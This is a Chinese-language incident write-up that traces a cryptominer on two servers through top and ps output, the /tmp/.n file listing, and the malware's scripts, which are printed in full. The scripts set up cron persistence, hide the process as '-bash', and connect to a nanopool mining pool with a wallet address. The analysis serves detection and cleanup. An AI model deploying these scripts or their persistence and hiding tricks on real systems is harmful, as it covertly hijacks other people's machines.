问题分析

1. 两台服务器收到告警,top 查看进程发现如下可疑进程

# top PID USER PR NI VIRT RES SHR S%CPU%MEM TIME+ COMMAND 19078 vmuser200680232142841032 S342.80.11583:11 md 501 vmuser200323483264760 R55.90.02172:49[atd]504 vmuser200323483264760 R46.70.02000:21[atd]18469 vmuser200323483504984 R46.10.01252:47[atd]18692 vmuser200323483408908 R43.10.0318:58.87[atd]18695 vmuser2003234835361020 R42.80.0129:26.05[atd]10547 vmuser200323483412908 R40.80.072:19.69[atd]8658 vmuser200323483400880 R40.50.04606:03[atd]8655 vmuser200323483468948 R40.10.04383:23[atd]10542 vmuser200323483408908 S24.70.090:27.13[atd]8549 vmuser200323483372868 R9.90.0323:27.79[atd]
用户名为 vmuser 的可疑进程

2. 查看 md 进程详情

# ps aux| grep19078 vmuser190783430.068023213764? Sl07:381613:58-bash-a cryptonight-o stratum+tcp://etn-us-west1.nanopool.org:13333-u etnk5c12V3YAb5gLekc5N8SizEpbpDogviaU2U9tff2F9JafNFS9pxmF1PNf4aZrMjRSqd9bhjXn7dbpmepNjKi586ZtD9Cv9N-p x
查询后果然和自己判断一样是一个挖矿程序

3. 查找用户程序目录

ls-l/proc/19078/exe lrwxrwxrwx1 vmuser vmuser0 Jan2907:38/proc/19078/exe->/tmp/.n/md

4. 进入 /tmp/.n/ 目录有如下文件

# ll-sh total4.1M 4.0K-rwxr-xr-x1 vmuser vmuser327 Jan2308:0314.0K-rwxr-xr-x1 vmuser vmuser329 Oct2721:30 a 4.0K-rw-r--r--1 vmuser vmuser5 Jan2314:55 bash.pid 4.0K-rw-r--r--1 vmuser vmuser38 Jan2308:11 cron.d 4.0K-rw-r--r--1 vmuser vmuser8 Jan2308:11 dir.dir 16K-rwxr-xr-x1 vmuser vmuser 15K Feb212016 h32 820K-rwxr-xr-x1 vmuser vmuser 819K Feb212016 h64 2.9M-rwxr-xr-x1 vmuser vmuser2.9M Jun242017 md 224K-rwxr-xr-x1 vmuser vmuser 222K Oct2222:25 md32 168K-rwxr-xr-x1 vmuser vmuser 165K Sep2718:58 mdx 4.0K-rwxr-xr-x1 vmuser vmuser586 Jan2308:03 run 4.0K-rwxr--r--1 vmuser vmuser170 Jan2308:11 upd 4.0K-rwxr-xr-x1 vmuser vmuser24 Oct502:45 x 4.0K-rwxr--r--1 vmuser vmuser139 Nov605:21 z

5. 挖矿程序分析

x 文件,文件下载后首先执行x文件# vim x nohup./a>>/dev/null& #执行 a 文件a 文件# vim a pwd> dir.dir dir=$(cat dir.dir) echo"* * * * * $dir/upd >/dev/null 2>&1"> cron.d crontab cron.d crontab-l| grep upd echo "#!/bin/sh if test-r $dir/bash.pid; then pid=\$(cat $dir/bash.pid)if \$(kill-CHLD \$pid>/dev/null2>&1) then sleep1else cd $dir ./run&>/dev/null exit0 fi fi">upd chmod u+x upd ./run&>/dev/null
获取当前目录,定时任务一直执行 upd 文件
upd 文件# vim upd #!/bin/sh if test-r/tmp/.n/bash.pid; then pid=$(cat/tmp/.n/bash.pid)if$(kill-CHLD $pid>/dev/null2>&1) then sleep1else cd/tmp/.n ./run&>/dev/null exit0 fi fi
检查 /tmp/.n/bash.pid 文件是否可读,如果可读就读出里面的 pid,直接kill掉,重新执行 run
run 文件,挖矿程序的主体# vim run #!/bin/bash proc=`nproc` ARCH=`uname -m` HIDE="-bash"if["$ARCH"=="i686"]; then./h32-s $HIDE./md32-a cryptonight-o stratum+tcp://etn-us-west1.nanopool.org:13333:13333-u etnk5c12V3YAb5gLekc5N8SizEpbpDogviaU2U9tff2F9JafNFS9pxmF1PNf4aZrMjRSqd9bhjXn7dbpmepNjKi586ZtD9Cv9N-p x>>/dev/null& elif["$ARCH"=="x86_64"]; then./h64-s $HIDE./md-a cryptonight-o stratum+tcp://etn-us-west1.nanopool.org:13333-u etnk5c12V3YAb5gLekc5N8SizEpbpDogviaU2U9tff2F9JafNFS9pxmF1PNf4aZrMjRSqd9bhjXn7dbpmepNjKi586ZtD9Cv9N-p x